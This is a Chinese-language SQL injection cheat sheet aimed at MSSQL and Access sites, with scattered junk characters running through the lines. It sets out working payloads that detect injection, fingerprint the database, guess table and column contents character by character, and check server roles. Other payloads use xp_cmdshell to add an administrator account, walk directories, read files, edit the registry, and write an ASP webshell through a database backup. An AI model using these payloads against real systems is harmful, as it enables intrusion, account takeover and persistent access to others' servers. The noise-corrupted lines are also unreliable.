手工脚本注入
( ?- z/ ?2 ~3 c; C3 B; _1.判断是否有注入;and 1=1 ;and 1=2 ' ~/ j5 e' X8 ^& B
" `. P$ q& s6 P: O2.初步判断是否是mssql ;and user>0
4 \$ [+ b& q+ A8 |, s3 B& G* W4 g
- p q8 n8 U3 N; x" e$ a3.注入参数是字符'and [查询条件] and ''='
$ I' {: `6 b5 {; C5 |
- `2 y0 z+ t0 P, e; J/ }0 t: \9 C4.搜索时没过滤参数的'and [查询条件] and '%25'='
6 [( x8 M7 u4 v2 w. w# M* q0 f: {
' f8 w; h" V/ y. X1 v5.判断数据库系统
8 X0 I$ v& U$ v3 L( K;and (select count(*) from sysobjects)>0 mssql ! ?' s3 X9 ?5 }2 o! Y
;and (select count(*) from msysobjects)>0 access 2 f; {) S0 X+ T+ V
* Q" h( D% n# H9 X$ @) U3 ]+ t6.猜数据库 ;and (select Count(*) from [数据库名])>0
2 ^" l" K! U$ @6 y3 e) G6 S' ~3 a5 C* `5 c, K3 k
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
7 e8 h! }4 P% [) t
# {: e K8 p1 n' z8 t( h8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $ H( d% ~% U' \* j2 Y' K* k7 y
[$ z4 f0 f; q. B
9.(1)猜字段的ascii值(access) ! N P2 ~& W" i' o
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
C2 ~, U" J" b
$ a/ t+ o% v8 F# O. n+ F3 n0 @; k$ h(2)猜字段的ascii值(mssql) 6 v5 j% G+ Z' Z; z) K" }4 U
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 5 w4 ~4 R0 p6 x0 @9 k+ N2 O
8 ?/ O& o+ R0 @. N! C+ n1 P10.测试权限结构(mssql) # w8 [3 T& l: a9 @
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- , j0 @; K! D' q) |' B p/ S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8 G# I$ E& j! f+ S& u
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % C8 a) x$ G8 O( e" p/ |
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
, N/ M& G. ?' t;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- / c2 K, `8 i8 R+ X [) M* G0 P: P
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; f9 R2 Y+ X0 Q. Y2 n% @
;and 1=(select IS_MEMBER('db_owner'));-- 7 u% B" Z' x6 }( o6 |7 f
+ c7 h1 W# h* I: J/ i; L& v: I
11.添加mssql和系统的帐户
v. k# ^, D/ }# ?' [. d/ w h;exec master.dbo.sp_addlogin username;-- ) m% t8 Z& {9 | u8 d( a/ [
- v3 r& s4 q5 H) \2 v9 f- C* r;exec master.dbo.sp_password null,username,password;-- , q; j( _9 h- u( b1 K' I6 S
4 |: v, s: T6 M7 L, |2 C% F3 A;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 B- i6 D/ W1 @- c+ x/ l+ R
; O! Z( N* _, W5 H9 h6 |' U;exec master.dbo.xp_cmdshell 'net user username password ' @) g; S+ x$ s2 N: i
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- - U& g0 N% R7 R/ a: K3 Q8 d
4 R% D3 v5 ]9 x% `;exec master.dbo.xp_cmdshell 'net user username password /add';-- . p: G: a; K5 H6 S' B# d m9 N. l4 N
( Q8 G' l; Z& w% \
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
" B4 q4 S7 s9 m" y7 ^
/ i z- T1 h9 @# a% `! A. t& c( u8 A12.(1)遍历目录
* p R b6 w) ?
3 ?) P; s! A" J! H4 f;create table dirs(paths varchar(100), id int) # l1 {* h. o; Y/ I4 I* m2 Z0 G
;insert dirs exec master.dbo.xp_dirtree 'c:\'
. X* v* l$ V* L( a;and (select top 1 paths from dirs)>0
2 Z9 I, g, {3 U9 Q;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8 h- @0 i) T% R& r: e) h
+ A# E1 e/ s. k, A
(2)遍历目录 / g3 @1 w1 W" o) e: }8 d! E
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ' G- ^! f6 _" E
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7 [! |8 b- X5 N3 n4 M b, Z. r
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ' i( e" J- ~, N+ K8 L
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 8 G3 B% \3 ~2 o* w
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
% E5 t) y1 X r4 r. W! Y' e* b$ k5 o
13.mssql中的存储过程
4 t1 n2 |2 L1 ^" S ?1 \- y. z3 W: m/ _# Z- N& e {" d
xp_regenumvalues 注册表根键, 子键 ( T% Q! H/ d1 {9 E8 F% y
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
. J) Q; N* e& `( C8 d" U8 t2 e5 R) N7 l- p1 @/ U8 `+ E
xp_regread 根键,子键,键值名
+ a4 g7 P0 `* r! f, e4 ], D$ e;exec xp_regread 0 W) s0 c+ C7 \4 g/ N! I4 U
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 + b0 O% z8 [! t: }% a/ ?
) a0 Y1 b( X* c/ ~9 B' A& U% f
xp_regwrite 根键,子键, 值名, 值类型, 值
- s- B" k+ g( M值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
6 P8 t/ ]4 o# J5 Y! w# O; p;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ( a& T8 s V0 T. e: V
) a& V" w) k8 k Y5 r% {/ x2 x: Nxp_regdeletevalue 根键,子键,值名 ' i, i# R% m4 b# q% y
3 J$ _! H# k, ~0 V8 L- Dexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 * p& C. v2 o% e6 C' k6 O
& @1 b) p- Q/ `8 Sxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
/ b6 S4 Q$ J$ O0 c4 r
! |: W c0 \9 L1 \1 l: c14.mssql的backup创建webshell
: L D7 y$ T2 o7 Ause model
' G! {' S4 q4 zcreate table cmd(str image); # V( [9 e, Q) S+ q4 M! J: V) d% L- A
insert into cmd(str) values (''); 9 N" g# U& y& H
backup database model to disk='c:\l.asp';
; a7 m7 L9 F" z% q: n- k) ]. x& B& G* x8 J
15.mssql内置函数 5 `, V; u% d* u& L. q& A' s5 j
;and (select @@version)>0 获得Windows的版本号 # f# W* ?6 Q$ q* J9 M4 x# A
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
# d3 w" @; ~: Y" N6 n% u! m0 J;and (select user_name())>0 爆当前系统的连接用户
& L+ A: B$ A4 C. f" R;and (select db_name())>0 得到当前连接的数据库 5 Z" l4 y' n/ `0 c
% p4 y, V0 G9 _+ n* S- M
16.简洁的webshell ; d; r6 W, r& `. m6 d2 X' @+ o
2 [! v9 y1 W0 S6 c) f5 z. E
use model
9 c! o& ?. X7 J* I% M
2 j$ F" Y K7 n2 W Ocreate table cmd(str image);
- y% L7 x9 }1 R$ K& @* Q3 w; B1 B; c+ S% J
insert into cmd(str) values (''); # f4 n# J, z, J* l7 n% C s; p
: O- k0 G$ C" q! ]9 D8 E- r" @backup database model to disk='g:\wwwtest\l.asp'; ' R/ H1 [' K2 D* ~1 L( h& p
9 l; H" b* C& q. \. d6 r
|